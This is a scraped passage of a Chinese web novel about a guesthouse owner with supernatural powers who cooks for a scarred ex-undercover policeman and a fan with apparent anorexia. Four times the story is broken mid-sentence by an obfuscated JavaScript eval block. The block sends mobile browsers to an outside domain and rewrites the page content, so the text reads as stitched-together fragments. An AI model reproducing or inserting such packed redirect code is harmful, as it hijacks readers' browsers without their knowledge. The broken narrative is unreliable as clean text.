;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15731014|174018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正经的问题没人回复,倒是一排排开怼的。 想了想,这人虽然说话难听点,但当时对他的求助还是认真回答了的,而且,对方提出的问题他还挺有心得,刚成为牛马的时候,买了不少鸡汤类的教材啃过,人际关系么,贵在一个诚字,但是小窍门也还是有的。 就当一报还一报吧,安斯年开始打字: 【你强调的是不动声色,那就提供两个备选,1-制造‘非语言接触’契机,比如:路过对方身边的时候‘无意’间掉落对方喜欢的零食(良心推荐抹茶生巧or小桃酥),留出自然搭话的切口:“帮我接一下,袋子要裂了……” 2-薛定谔的台阶:在TA必经之路上放件小物品(门禁卡、钥匙,随便什么),等对方捡起来的时候解释:“可能刚才掏手机的时候掉出来了,果然在你这里才能找到……”然后巴拉巴拉开夸!】 发出去没多久,安斯年收到了对方的回复,【谢谢】 真好,又做了一件善事。 一团灰白色的毛茸茸从脚边蹭过进了屋,眨眼又不知道窜哪儿去了。 神识微动,狗狗嗯嗯之地的草叶窸窸窣窣的响动一会儿,把一截不文明之物压在了地里,化作了养分。 安斯年关好门招呼一声:“陈皮,上楼睡觉了!”关掉一楼的大灯,只留下楼梯间的引路灯。 陈皮从多功能房的方向窜了过来,跟在他脚边欢快的蹦跶上楼。 突然“汪”的一声,它加快跳了两步,在二楼楼梯转口处停下,低头…… 叼起了一张房卡。 转回头望向主人,圆溜溜的眼睛里写满了疑问。 这是什么? 昏暗的光线中,晏臻走过来自然的说道:“可能刚才掏手机的时候掉出来了,果然……” 话没能说完,他看见了陈皮,闭上了嘴。 空气静了几秒,晏臻伸出手,弯腰去扯狗嘴里的房卡。 陈皮却死咬着不松口,还发出“哼哼”的威胁声。 安斯年脑子里划过一个不可思议的念头,然后又迅速自我否定——怎么可能那么巧?呵呵呵,不可能的。 “陈皮,松口。”他开口解决了纷争。 狗狗“嗷呜”一声松了嘴,晏臻拿回了房卡,一句话没说转头就走了,连个眼神都没给。 安老板在心里腹诽,这人脾气也太怪了点,好歹客气话要说上一句半句的吧? 转头他又自我安慰,算了,房客而已,少点接触就是,再怪也怪不到他头上。 等以后哪个倒霉蛋看上了他,自己去消受吧…… 与其操心这些闲事儿,还不如想想明天吃什么。 他咂砸嘴,酝酿了一下,今天被热带台风撞了腰,那就需要来点热带风情的美味缓解缓解。 嗯,椰子鸡√ 这菜实在简单,其实关键就看椰子新不新鲜,还有就是火候的把握——椰汤要煮到浓郁,又不能太久,影响了鸡肉的鲜嫩。 到时候做好了,一锅摆在后院的榕树底下,海风拂面、椰香四溢,清亮透彻的汤汁,嫩滑鲜甜的鸡肉,再配上沙姜末的蘸料,多美啊。 第二天,安斯年按照计划,准备下山采购椰子,他心情极好的哼着小曲儿刚出了前台,正巧撞见晏臻抱着一个大塑料袋进门。 “啪” 一盒小桃酥无巧不巧的掉在了他的脚边…… 20. 还是椰子鸡 “帮我接一下,袋子要裂了。” 安斯年:“……” 你要不要这样一字一句的学得这么认真,能不能有点主观能动性、有点创意? 他伸出手帮忙扶住,歪着头笑出了气音:“‘跟我说话别破防’?” “哐” 大黑袋子掉在地面,彻底破了,各种小包装的零食撒在玄关地砖上。 安斯年低头盯着,盐焗鸡翅、薯片、辣条、魔芋爽、奥利奥曲奇、泡椒凤爪…… 看不出爱好取向,主打一个花花绿绿应有尽有,而且,没有意外的话,这些东西他基本都吃不了的吧。 空气安静了好一会儿,一把低哑的嗓音缓缓问道: “……‘饼饼’?” ‘饼饼’是安斯年在小红薯用的网名,为了纪念那只陪他长大的狗狗。 原来世上就是有这么巧的事,对方在被水佬忽悠到民宿之前,两人已经线上线下都碰过面了,这会儿算是喜提互联网认亲现场。 而且,晏臻发帖想要缓和关系的人是自己,这让安老板的心情瞬间好了几分。 虽然之前也算不上有什么矛盾吧,可气氛总归有点僵硬,毕竟他好几次笑脸相邀都被人冷冰冰拒绝,换了谁也不会高兴的。 没想到这人是外冷内热型,有心却张不开嘴,居然还跑去网上求助,感觉……还怪可爱的说。 “嗯,是我。”安斯年促狭的笑了一声,蹲下身收拾地上的零食,“没想到这么巧吧?” 晏臻也蹲下了,一双手明显比安老板的大了不少,一抓就是好几袋,拣得差不多了,两人对视一眼,尴尬劲儿过了,他也笑了。 “确实没想到……真的太巧了。” 袋子已经破了,没法再拎着走,安斯年起身到厨房拿了个竹编簸箕,走回来说:“用这个装。”停了几秒,又问:“……这些,你能吃?” 除了巧克力,其他的估计不太行,晏臻也不是买来自己吃的,他只是不知道安老板到底喜欢吃什么,所以干脆乱七八糟买了一大堆,这会儿被人撞破了,也正好全部出手。 零食小袋全部转移到簸箕里,他往安老板怀里一推,“给你的。” 安斯年哑然失笑,倒也不意外。 他说声谢谢接过来,想了想,用陶罐装了一些放在前台边上,挨着那两条锦鲤。 预备着以后用来哄小朋友。 剩下的,先放到储物间,自己买的那一堆吃完了再说。 走回客厅,晏臻坐在沙发上随手翻着那本植物图鉴,阳光从落地窗照进来,正落在他右脸的疤痕上,颜色似乎比第一天见面时浅了些。 “所以,你真的也中过彩票?”安斯年突然有点好奇这个。 “嗯,一注头奖,超市购物送的。” “我的是火锅店搞活动送的。” 看来两人的相似之处似乎又多了点,都是老天爷追着喂饭的运气,安斯年感叹:“怪不得呢,豆汁儿老爷一千五的餐费你也舍得。” 其实以晏臻的经济状况,中的那注彩票不过是锦上添花,没什么实际作用,但他当然不会表现出来,他现在满脑子纠结的是另外一件事,不自觉就盯着安老板看了好几眼。 感受到对方眼神中的欲言又止,想想那一簸箕的零食,安斯年主动关心了一句:“怎么了?” 晏臻有点犹豫,该不该问。 他昨晚在房间码字,压根没感觉到一丁点台风的威力,还以为是临时转了方向,没从鹿角港登陆。 可今天一早他走了一个钟头下山去买零食,出了民宿百来米,那场景—— 遍地铺满了植物的残根断枝,有的地方连草皮都被彻底刮掉,裸露着的树根乱糟糟扭曲着。 到了小渔村附近,更夸张:沙滩上散落着大大小小翻肚皮的死鱼、各种人造物的残骸,还有一艘不算小的渔船卡在礁石缝隙中。 点开手机上网,热门的小视频也是各种灾后的惨况,甚至还有铁皮厂房被整个掀掉了屋顶。 官方新闻标明:‘河狸’正面登陆S市,最大风力17级。 可是,回到民宿,整片花海依然美得喧嚣,似乎连幼嫩的花蕊都没被吹断过一根…… 这种完全违背常理的事儿,晏臻直觉就和安老板有点关系,但又完全想不出他到底是怎么做到的。 可是不管怎么做到的,应该都是他的秘密,要是随便开口,好不容易缓和的关系再度僵硬了怎么办? “……没什么,嗯,想问今天吃什么?”晏臻自然的说。 呦,太阳打西边出来? 原来讨好的目的是为了让自己给他下厨。 安斯年不算太意外,但有些问题得问清楚。 “坦白讲,我这儿不点餐的,我吃什么客人就吃什么,但你的身体状况……偶尔照顾下没问题,但我也不可能天天跟你喝粥啊,方便告诉我实情么?”顿了一下,他立刻接着找补:“不方便也没什么关系,我也不想打听什么,就是怕有些饮食禁忌……” “回避型进食障碍症。”晏臻放下手里的图册,双眼直视着安斯年,“其实你已经发现了吧。我讨厌热的食物,还有,以前受过外伤,食道受损,吞咽有些困难,暂时只能吃些流食,除了辛辣和太硬的,其他没什么忌口的。” 安斯年其实也猜到了些,看那疤痕的深度和长度,这外伤可不轻,应该是要人命的程度,心里对这位客人的职业又多添了一丝好奇。 但两人的关系,显然还没亲近到随便打听的地步。 “那行,我知道了,你可以吃点汤羹类的菜。”他笑了笑,晃了晃手里的车钥匙:“正准备下去买点椰子,今天吃椰子鸡,我吃肉,你可以喝汤。” 朝外走了两步,又转回头提醒:“鱼缸下面压了把电鸡的备用钥匙,有需要就自己拿。” 来回走两个小时给他买零食?看那一裤腿的泥,真让人不知道说什么才好。 这一整天,安斯年的心情极好。 不光是主客关系和谐了,还因为他在驴途上收到了第一个订单——长达一周时间的标间预定。 看客户名字,方雨童、张丽,大概是两位女性,计划第二天中午入住。 方雨童其实没打算下订单的,毕竟那价格对她来说太贵了点。 她是个单身家庭的孩子,爸爸在她小学一年级的时候就病逝了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15731015|174018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妈妈没有再嫁,一个人把她养大,所以她并不想给妈妈增添负担。 是因为她第二天反复刷着蜜汁叉烧的视频下饭,正巧被妈妈张丽发现了,这才不由分说的约了一周。 张丽还为此专门请了年假,计划陪着女儿好好调养几天。 她们住在S市最西面的一个区,从家里出发搭地铁到鹿角港就已经一个多钟头,等到了山脚小渔村一看,两人不约而同都有点后悔。 这地儿实在太破旧了,她们实在想象不出开在这附近的民宿能好到哪儿去。 多半是遇上了照骗。 等两人叫了一辆摩的往山上走,后悔情绪直接加倍! 山路特别难走,颠得要死,张丽坐在后面,一手拽着行李箱,一手还要将女儿护在怀里,生怕她那瘦骨嶙峋的小身板被直接颠下了车。 眼看电驴越开越偏僻,路都已经有点模糊不清,开车的还是个壮硕的花臂大哥,张丽的心都提到了嗓子眼,各种荒郊野外杀人掠财的社会新闻从她脑子里闪过,她忍不住了,要直接叫车子掉头。 “……唉师傅,我……” 话没说完,忽然的一个拐弯,一整片樱粉色的花海,美得像梦一样,就这样撞进了母女俩的眼里。 “妈妈你看,好漂亮啊……”“嗯” 靠近了,花海中掩映着“饱岛仙居”四个大字,那没错了,就是这儿。 良辰把电驴停稳,自己先下了车,指了指车头挂着的二维码,“二十块”。然后一手拎过张丽的行李箱往别墅里走,嘴里高喊:“老板,来客人了。” 方雨童拿着手机咔咔的,眼睛还在花海中流连,靠着妈妈的胳膊下车站稳了,听见这一声高喊,顺着转头一看,民宿门口走出一个唇红齿白的大帅哥。 是真的超帅,帅到那一片花海都失色的地步,而且,好眼熟啊…… 难道是……年宝?她大一时追过的那个小墙头安斯年? 她微张了嘴,仔细再多看两下。 头发是蓬松的自来卷,立体的眉骨下鼻梁高挺,鼻尖精致又柔和,瞳色比普通人浅一些,正午的阳光下,琥珀色的大眼睛闪着迷离的星光。 真的是诶! 那是前年一档选秀综艺里的学员,虽然业务能力不太行吧,但架不住颜好,一张脸,哪哪都长她审美点上,更主要她还特别喜欢对方的性格,不争不抢自然得很,一点儿也不造作,也不像别的戏精那样逮着机会就各种抢镜、卖惨。 当时喜欢他的人不少,方雨童还和几个同好建了个粉丝群,叫做‘一眼万年’,分享资源顺便帮对方打投。 可惜的是,这人在倒数第二轮被淘汰,而且没过多久就退圈了,方雨童还真心实意的难受了好几天,她们的那个粉丝群现在也还在,只是已经沉寂太久,完全没人说话了。 没想到这人退了圈是开了家民宿,天啊,这是什么运气?你曾追过的爱豆为你洗手作羹汤! 做梦都不敢做这么美的梦! 张丽眼看着平时连说话都有气无力的女儿,突然双眼放光,几步就跳到了民宿门口,对着刚出门的那个帅小伙直嚷嚷:“年宝……不,安斯年,你是不是安斯年?” 21. 文思豆腐 安斯年也没想到,驴途的第一个订单,招来的居然是他曾经的粉丝。 他语气温和的承认了身份,对面的女孩子既是兴奋,又有些迟来的腼腆,捂着嘴,止不住的笑。 场面还算温馨,但这位叫方雨童的粉丝,一眼看上去,情况却不太妙——明明接近一米七的个头,目测体重还不到九十斤,身体薄得仿佛能被风吹走,手脚瘦的跟麻杆一样,一块高级的智能手表在手腕上缠了两圈才固定住,表盘下突出的尺骨尖锐得让人心惊。 这模样,难道又是一个进食障碍症? 进了门,方雨童好奇的四处张望,张丽则提出要先看一下房间和厨房,这当然没问题,他领着人先到了厨房。 这位看上去就很干练的短发中年女性,仔细查看了粮油、调料的品牌以及保质期,这才微微放松了些,带着女儿一起上了二楼。 “标间有两间,‘九里香’和‘月桂’,面积大小差不多,‘月桂’能稍微看到些海景,‘九里香’就清净些,看的山景,漫山的荔枝和芒果,现在很多都已经熟了,硕果累累的,看上去心情蛮好。”安斯年尽职尽责的解说。 “我喜欢看海。”方雨童仍然处于比较兴奋的状态,对着‘月桂’的门牌一指。 房卡刚刚刷过发出“滴”的声响,她就迫不及待的转动门把手进屋去了,瞬间就发出“哇哇”的低叹。 安斯年就见张丽皱了眉,从背包里掏出一瓶消毒喷雾,追着女儿给她手上喷过两下,方雨童的情绪肉眼可见的低落了些,吐了吐舌头,赔笑说:“对不起啊,一下给忘记了。” 张丽伸手,自己也喷了两下,再帮着女儿揉揉手擦拭均匀,亲昵的埋怨:“知道你是高兴的,但是现在外面细菌那么厉害,你身体可是一点儿也受不了的,下次不要再忘了,公共场合的东西,一定不能随便乱碰,还有……” “知道了知道了……” 方雨童连忙使出撒娇大法,牵着妈妈的手来回摇晃打断她的话,再偷偷瞅上安老板一眼,似乎很不愿意被追过的爱豆看到这么尴尬的一幕。 安斯年其实一点也没介意对方的嫌弃,反而对张丽的那种关怀备至很有些羡慕,曾经,他也是这样被娇宠着长大的…… 微叹口气,他迅速从情绪里解脱出来,笑问:“房间还满意么?要不要再看看‘九里香’?” “不用,就这间吧,我等下就来办手续。” “行,不着急。” 两人说话间,良辰把母女俩的行李箱拎了上来,又转头下楼做卫生去了,张丽有些犹疑的问:“那个人是……民宿的服务员?” “算是吧,我请的钟点工,专职打扫卫生的。” “哦……”张丽喃喃低语一句,“刚上山还收了我们二十块摩的钱。” 安斯年明白了,她认为良辰算是民宿员工,那接送上下山就是民宿的服务范畴,不应该收费。 倒是疏忽了,对一些没开车的客人来说,上下山确实有点麻烦,回头得在预定须知里面备注一下才行。 但良辰收的那二十块钱他却不能认,那是别人合理的收入,也是你们自行约定好的价格,一码归一码。 没搭理这茬,但方雨童这个粉丝还是要适量照顾一下的,他捋了捋食谱和现有的食材,易消化又营养…… “晚上我做个文思豆腐,再蒸个扣肉,您两位有什么忌口的么?” 张丽从背包里掏出个小本子,翻了两页,递到安斯年面前,“有,我女儿的照这个来。” 安斯年接过一看,密密麻麻,条理清晰,并且非常严谨—— 【绝对禁忌类十种:1、辛辣刺激物;2、生冷酸涩物……10、加工食品如鸡精、味精等】 【可食用但限量类三十种:1、油腻食物如肥肉、油炸类,每日油脂摄入量≤5ml……30、甜品类,每日糖分摄入含量≤2g】 …… 这也稍微夸张了点吧,完全按照这个来,还有什么能吃的么? 回忆一下方雨童极度纤细的身形,也许,是医生指定的食疗配方?听说过厌食症的治疗必须循序渐进,避免发生再喂养综合征,治疗起始阶段进食的热量会远低正常需求。 安斯年还没来及做出反应,陈皮活蹦乱跳的下到二楼,大概是好奇新客人的味道,摇着尾巴,绕着张丽脚边转了一圈。 “你这儿还养了狗?有证的么?” “咯吱” 走廊对面挂着‘迷迭香’的房门打开,一个身材高大脸上带疤的男人抱着只黑猫走了出来。 “……还有猫?”张丽的脸色更难看了点。 方雨童的眼睛都快冒光了,爱豆美食兼有、猫猫狗狗双全,这哪里是民宿,这根本就是天堂啊! 她也不敢太接近,扒在门边上,嘴里“嘬嘬”两下逗弄着陈皮,笑得像窗外的花海一样灿烂。 张丽转头看见她高兴的样子,神色不由就缓和了些,好歹没再继续纠缠宠物的问题,只是眼神里还带着些警惕和防备,生怕这只不算小的灰白狗子一下窜进了屋。 “陈皮,回屋去。”话音落,狗狗无比听话的“嗷呜”答应一声,连跑带跳回了三楼。 安斯年掏出手机将本子上的注意事项拍了两张,转回头递给那位稍显焦虑的母亲,“张女士,要求我都记下了,你们二位先休息一下,有什么需要拨内线到前台,按‘0’就行。” 今晚吃饭的人多了些,文思豆腐又是个特别考究刀工的细致活儿,有些需要早做准备的工作,现在就要开始忙活了。 一转身,楼梯口上遇见了晏臻,抱着猫还拿着笔记本,安斯年点点头,示意对方先走。 客人缓缓走下楼梯,难得能看见这人的发顶,比寸头也长不了多少的黑发,浓密茂盛,只是以安斯年的眼力,能看见隐隐的三个发旋。 三个? 老话说什么来着。 一旋精、二旋愣、三旋敢和火车碰! 要照这么说的话,那这人应该是个胆大不怕死的,而且犟得要命。 安斯年为自己的无聊联想闷笑了一下,快步下楼,奔向了厨房。 打开直播,关注的人数已经破了百,他随口招呼一声,直接动手开始做饭。 蒸扣肉嘛,梅菜当然是绝配,泡发的时候加上一勺糯米酒,再和油渣一起炒香了备用。 五花肉选肥瘦三七比例的,在肉皮上扎些针眼,热油淋炸的时候会形成均匀的蜂窝状,炸好后立刻在冰水里过一圈,温差会撕裂表皮形成完美的虎皮,然后上糖色,火候得把控好,让肉块既有深邃的琥珀光泽,又有焦糖的微苦回甘。最后,厚切2.5cm左右大块来保持立体的口感。 切好肉料之后就需要腌制了,红腐乳、酱油、蚝油1:3:1,再加一些碾碎的豆豉增香。腌制后一片片码在小陶碗里,盖上梅菜,上锅开蒸。 过程稍微有些繁琐,安斯年干脆一次做多些,蒸了八个小碗,到时候放进冰箱里冷藏,想吃的时候再拿出来复蒸一遍就OK。 轮到文思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15731016|174018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 豆腐,主要靠的就是刀工。 这是道淮扬名菜,据传正宗的苏系厨艺大家,能把一块豆腐切成两万五千丝,每根粗细不超过0.3毫米,穿针都绰绰有余。 在刀面抹些水防止粘连,左手三根指头呈阶梯状抵住豆腐,创造稳定的切割平面,“铛铛铛铛” 直播间里开始有了动静儿,说什么的都有。 【兄弟,这手速,单身多少年了?】 【主播手好美×18】【手比豆腐还白,就离谱】 【吃饱了要把豆腐切成这样】 切完了一面,撒点水,轻轻一抹,豆腐片均匀的倒向另一边,安斯年瞄了一眼弹幕,楼有点歪啊,不知道该说些什么,那就继续切…… 一旁收拾垃圾袋的良辰看的眼睛都直了。 切好的豆腐丝得放进冰水里镇上两个钟头,舒展形态,具体切成了多少丝,安斯年没那闲功夫去计较,但穿针肯定能穿的,再把配菜的冬笋、火腿、香菇同样切丝。 又是一阵“铛铛”,这声音太有节奏感,客厅里码字的晏臻都忍不住走过来,盯着案板欣赏了好一会儿。 三色配菜丝切好,码好放在一旁,安斯年回神一转头,俩大高个杵在身后,跟对门神一样…… 良辰有些不好意思,拎着垃圾袋讪笑道:“老板,我先下去了,晚饭后再过来。” 走了一位,另一位不知道想到了什么开心的事,嘴角勾了勾,评价一句:“……刀工还行。” 然后,仿佛视察完现场的领导,挺着胸背着手,慢悠悠的踱回了客厅。 【真拽】【哥们声音真难听】【up怎么只有手不敢露脸,太丑么?】 有弹幕飘过,安斯年感觉今天的发言怎么都有点戾气,干脆下了播,客套话都没说一句。 不知不觉就忙了大半个下午,到了快要吃晚饭的时候,饭菜基本已摆好了,张丽母女俩下了楼,晏臻也第一次坐上了餐桌,安斯年最后将文思豆腐端过来放在正中央,方雨童“哇”的一声就嚷嚷开了:“OMG,豆腐丝做出来这么漂亮?年宝,这是专门给我做的么?” 人一兴奋,之前对爱豆的昵称又冒了出来,听上去很是亲热。 安斯年倒也没介意,称呼而已。 照他现在的心态,对方这年纪在他眼里,就跟刚出生的婴儿没两样,于是纵容着笑答:“嗯,你试一下吧,喜欢可以多喝点,不喜欢也别勉强。” “好好,我先拍张照片!”方雨童手机一举,换上个美食滤镜,咔咔就是几张。 刚才她也在安老板的直播房间里,只是默默瞅着没说话,等人一下播,她立刻把花海照片还有直播截图发到了之前的粉丝群里。 不出所料,小群立刻炸了锅,满屏的‘?’‘!’ 情况一说明,之前聊得比较好的几个姐妹,简直是恨不在S市,只能土拨鼠尖叫不断,还不停央求她多拍点安斯年的照片,给大家放饭。 可是没经过安老板的同意,她有点不好意思直接怼脸,把做好的饭菜拍几张丢进群里,算是给大家解解馋。 小群里这会儿活跃极了,欣赏美食欣赏美手的,突然有人圈出一个华点发出了鹅叫声:“哈哈哈哈,这人的勺子好奇怪啊,麻花一样,怎么吃饭啊?” 方雨童对应着照片抬头一看,桌对面脸上带疤的那个男人,手里的不锈钢汤勺卷得歪七八扭,像是被谁气急了揉出来似的,根本已经不像是勺子了。 ?? 怎么弄的?在玩儿魔术么? 22. 梅菜扣肉 晏臻其实比方雨童更懵。 他不过是拿起汤勺搅着碗里的豆腐羹,希望快点降温而已,可听见那个咋咋呼呼的小女生说着话,心里一股气就止不住的冒出来。 什么叫专门给你做的? 谁还不是个厌食症了? 我还是器质加心理双重叠加的,我骄傲了么? 等他回过神,手里的勺子已经完全不像样了。 整个过程速度极快,似乎眨眼之间就变成这样,他也压根不知道自己怎么做到的。 这会儿他只能强压着震惊,放下勺子,一时间有点不知所措。 安斯年垂眸掩住异色,浓密的睫毛在眼下投出一片扇形的阴影,余光中,桌面那把麻花状的不锈钢勺子还残留着极微弱的灵气波动。 这是,金系灵根觉醒。 在这么日常的吃饭场景里,竟然会撞见穿回来后第一个自然觉醒的人。 窗外花枝疯狂摇曳,小樱似乎感应到了什么,只是没得主人召唤,不敢随便进屋。 陈皮却突然从楼上窜下来,对着餐桌的方向狂吠不已,原本趴在附近的豆汁儿一个应激,弓起身子炸开了毛,一猫一狗就这样遥遥对着,冲对方低低的咆哮。 “陈皮!” 安斯年低喝一声,犬吠声戛然而止。 “可能是闻到扣肉的香气,馋了。”他对众人解释一句,起身到厨房摸索了几下,回到餐桌旁,一人配上了一把木勺,笑着打趣:“之前买的整蛊人的小玩意儿,看着像不锈钢的,其实比橡皮泥还软,搅合几下就扭得乱七八糟了,怎么样,有没有被吓到?” 晏臻抬眼时,安老板正弯着腰往自己桌面递勺子,然后拿走了那把变形的。餐厅暖黄色的灯光下,修长白皙的脖颈绷出利落的弧度,黑色T恤领口微微敞开,一条鲜活到仿佛是真实存在的绿色藤蔓状刺青从眼前一闪而过。 他还想看仔细些,那人已转身走向厨房,给那只灰白色的狗子准备口粮去了。 话说回来,这只狗子,是前几天对方带回来的那只流浪犬么? 怎么感觉几天而已,几乎就已经大了一倍? 还有刚才勺子的异象,他不相信对方没看见。 正常人不都应该像对座两母女一样么?眼睛都快瞪出眼眶了,一副想问又不敢问的憋屈模样。 可安老板呢,那双大大的琥珀色眼睛里,平静得毫无波澜,似乎那仅仅是一件再平常不过的小事,甚至掰出什么‘比橡皮泥还软’的假话来遮掩。那把勺子到他手里的时候是直是弯他能不知道么……那种话术也只能骗骗小女生而已。 太诡异了,这一切都太诡异了。 晏臻心中的异样感已经快要爆棚。 但现在,却不是方便问的时候。 他瞄了新住客一眼,用木勺舀起一瓢豆腐羹,低头吹气“呼~”,等彻底凉下来,一口吞掉。 张丽毕竟没有亲眼看见勺子变形过程,听安斯年解释两句也就信了,没太当回事儿,她已经完全专注到眼前的美味中。 一桌子的菜看上去都很不错,尤其那盆文思豆腐,数不清的银丝漂浮在素白的瓷盆中,第一眼的视觉冲击像是暴风骤雨,勺子轻轻一搅,却又像是温润的云雾般缠绵,很有些至柔至顺的古典意境之美。 微微一嗅,鸡汤的香味与冬笋的清甜随着热气袅袅蒸腾,感觉鼻腔和味蕾同时被彻底唤醒了。 她先给女儿盛了半碗豆腐羹,然后迫不及待的看向一旁酱红的梅菜扣肉,夹起一片,在筷子尖上颤巍巍的抖了一下,入口就爆发出了一阵浓郁油润的肉香,却又因为梅菜的微酸,被中和得毫无油腻感…… 天啊,怎么会这么好吃? 她暂时顾不上其他的菜了,又连连夹了两大块,然后舀了一点琥珀色的肉汁合着梅菜碎盖在米饭上,狠狠刨上几口……等她完全回过神,转头看向女儿的时候,对方碗里的文思豆腐已经喝光了,正盯着她偷笑。 “是不是超好吃?”方雨童低声的问,表情有些小得意。 “老板手艺确实好,回头得跟你取取经。”张丽没有吝啬夸奖,只是话音一转,又到了女儿头上,“童童啊,她就是不太爱吃我做的饭,哪天要是不盯着……” “妈妈……”方雨童小声求饶,又夹上一大筷子蒜蓉小白菜到张丽碗里,“吃饭!这青菜太好吃了,超甜,又脆生生的!” 当然好吃了,这是空间里收获的第一批绿叶青菜,被灵气滋养得脆嫩多汁,吃起来半点不留残渣,嚼一嚼,仿佛就已经化成了一道清甜的汁液直接入了喉咙,连安斯年都忍不住加快了速度,猛猛的炫了大半盘。 一边吃,他还一边惦记着空间里的通菜,也已经成熟到可以采摘了,明天可以用来做个椒腐通菜,至于荤食嘛,大夏天的还是得做点容易开胃的,那就做个樱桃肉吧。 一顿晚饭算是吃得有滋有味,只有晏臻实在有点心不在焉。 熬到差不多快十一点,豆汁儿趴在大床的一角已经睡熟,晏臻轻轻打开房门,四周看了看。 走廊静悄悄的,只有微弱的夜灯亮着。 顺着楼梯,他头一次上到了三楼,安老板独踞的那一层。 三楼有一半的空间是开敞的,楼顶花园和泳池里还亮着些装饰的灯光,夜风徐徐吹过,水面微微荡起涟漪,各色的繁花轻轻抖动,送来一阵阵的花香。 略微分辨一下,有他熟悉的薰衣草的味道。 另一半的空间只有一扇大门,现在紧紧闭着,顺着往后一眼看过去,是一条长长的弧形落地玻璃窗,窗帘完全拉着,只从缝隙中透着些亮光,安老板应该还没休息。 他正打算上前敲门,身后传来一道声音,“晏先生,大半夜的,还有这闲情逸致找人聊天?” 声音很清晰,又似乎非常的虚无缥缈,分不出到底是从哪个方向传过来的,刚入耳时明明极小声,却又像是炸雷一样直接响在他的脑海里。 晏臻转过身,墨黑的双瞳瞬间凝滞—— 花园泳池完全消失了,他眼前是一堵熟悉的白墙,墙上是硕大的一枚警徽,下方桌面上整齐叠放的红蓝色警旗,拱卫着后方三个黑白色的相框。 那是因公殉职的三位同事的遗照。 他站在宗平面前,似乎在听领导训话。 这场景在他记忆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15731017|174018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中实在太深刻了,深刻到一眼就能认出来是何时何地。 这是五年前他去南越做卧底临行的那一天,是宗平给他的最后一次确定……不,应该说最后一次反悔的机会。 之后的几年间,他无数次的想起过这一天的场景,被迫吸食‘黑潮’‘灰蛾’时想过,暴露后被抓住刑讯时想过,被割断喉咙扔在大海里等死时也想过——如果时光能够回溯,他当时的答案还会那么的坚定么? 和记忆中一模一样,宗平推着档案袋到他面前,脸色异常的冷肃:“这是聂勇昌和K集团所有的资料,你要背到连标点符号都不会弄错的程度。明天起,你的警员编号就会从系统消失。我最后问你一次,确定要去么?” 清亮的白炽灯照射下,相框中年轻的面孔映入眼帘,师兄高翰飞在正中间的那个框子里,带着微笑双目炯炯的看着他。 “确定!” 话音落,眼前的场景瞬变,晏臻发现自己站在暴雨的街头,怀中抱着一个浑身是血的孩子,那孩子突然抓住他的衣袖叫道:“叔叔,后面……” 蒙着面的歹徒拿着手枪对准孩子的背心,扣动了扳机,他根本没有意识到这到底是什么情况,已经毫不犹豫转身将孩子护在了身下,子弹入体的感觉就像是被火灼烧,转眼就能疼到痉挛,他甚至能听到体内骨头碎裂的声音…… 疼痛忽然消失,幻象如潮水一般褪去,民宿的三楼重新出现在眼前。 安老板穿着一身宽松的白色长袍,从花园凉亭的方向走过来,走到泳池边也一点没停,赤着脚直接就踩过了水面,仔细一看,凡他经过的地方,总有一朵深蓝色的睡莲瞬间绽放,在他落脚之前,为他在水面开出一条花路…… 转眼间人就走到了面前,素白的长袍下摆随风蹁跹,冷玉一样的脚踝在中间若隐若现,白到发光的脚面上纤尘不染;修长的指尖捻着一枝紫色的薰衣草,微卷的发梢似乎还凝着些没散尽的药香。 晏臻面无表情,插在裤兜里的右手,大拇指的指甲狠狠掐住了食指…… 美人踏水而来,销魂荡魄之后是止不住的犹疑。 既然已经毫不顾忌的在他面前现行了,接下来,是要杀人灭口,或者,有什么办法可以让他消除记忆? 而且,关键的是,刚才到底是眼睛看见的幻象还是他脑子里的幻觉? 这人到底是个什么情况?妖?鬼?外星人?? 不管什么情况,这都已经严重超越了他的想象。 多年的专业训练起了作用,他异常冷静的开口问:“……刚才,是些什么?还有,勺子,是你故意戏弄我弄弯的?” 这话音比平时更加的嘶哑难听,像是两块粗陋的金属在缓慢摩擦。 